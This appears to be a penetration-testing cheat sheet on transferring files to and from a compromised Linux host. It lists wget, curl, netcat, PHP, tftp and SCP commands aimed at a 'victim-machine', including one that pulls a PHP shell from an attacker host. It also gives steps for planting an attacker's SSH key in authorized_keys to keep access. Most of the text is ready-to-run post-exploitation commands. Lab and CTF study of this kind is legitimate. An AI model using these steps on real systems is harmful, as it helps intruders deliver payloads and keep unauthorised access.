Transferring Files on Linux
Set Up a Simple Python Webserver
For the examples using curl
and wget
we need to download from a web-server. This is an easy way to set up a web-server. This command will make the entire folder, from where you issue the command, available on port 9999.
python -m SimpleHTTPServer 9999
Wget
You can download files using wget
like this:
wget 192.168.1.102:9999/file.txt
download a directory recursively and eliminate obligatory index.html
wget -r -np -R "index.html*" http://10.10.10.78:7000/LinPost
Curl
curl -O http://192.168.0.101/file.txt
Netcat
Another easy way to transfer files is by using netcat.
If you can't have an interactive shell it might be risky to start listening on a port, since it could be that the attacking-machine is unable to connect. So you are left hanging and can't do ctr-c
because that will kill your session.
So instead you can connect from the target machine like this.
On attacking machine:
nc -lvp 4444 < file
On target machine:
nc 192.168.1.102 4444 > file
You can of course also do it the risky way, the other way around:
So on the victim-machine we run nc
like this:
nc -lvp 3333 > enum.sh
And on the attacking machine we send the file like this:
nc 192.168.1.103 < enum.sh
I have sometimes received this error:
This is nc from the netcat-openbsd package. An alternative nc is available
I have just run this command instead:
nc -l 1234 > file.sh
With php
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
Ftp
If you have access to a ftp-client to can of course just use that. Remember, if you are uploading binaries you must use binary mode, otherwise the binary will become corrupted!!!
or
If ftp anonymous login is provided or you have login details, you can download the contents by wget, (For anonymous login user password are not required)
wget -rq ftp://IP --ftp-user=username --ftp-password=password
Tftp
On some rare machine we do not have access to nc
and wget
, or curl
. But we might have access to tftp
. Some versions of tftp
are run interactively, like this:
$ tftp 192.168.0.101
tftp> get myfile.txt
If we can't run it interactively, for whatever reason, we can do this trick:
tftp 191.168.0.101 <<< "get shell5555.php shell5555.php"
SSH - SCP
If you manage to upload a reverse-shell and get access to the machine you might be able to enter using ssh. Which might give you a better shell and more stability, and all the other features of SSH. Like transferring files.
So, in the /home/user
directory you can find the hidden .ssh
files by typing ls -la
.
Then you need to do two things.
- Create a new keypair
You do that with:
ssh-keygen -t rsa -C "[email protected]"
then you enter a name for the key.
Enter file in which to save the key (/root/.ssh/id_rsa): nameOfMyKey
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
This will create two files, one called nameOfMyKey
and another called nameOfMyKey_pub
. The one with the _pub
is of course your public key. And the other key is your private.
- Add your public key to authorized_keys.
Now you copy the content of nameOfMyKey_pub
.
On the compromised machine you go to ~/.ssh
and then run add the public key to the file authorized_keys. Like this
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQqlhJKYtL/r9655iwp5TiUM9Khp2DJtsJVW3t5qU765wR5Ni+ALEZYwqxHPNYS/kZ4Vdv..." > authorized_keys
- Log in.
Now you should be all set to log in using your private key. Like this
ssh -i nameOfMyKey [email protected]
SCP
Now we can copy files to a machine using scp
# Copy a file:
scp /path/to/source/file.ext [email protected]:/path/to/destination/file.ext
# Copy a directory:
scp -r /path/to/source/dir [email protected]:/path/to/destination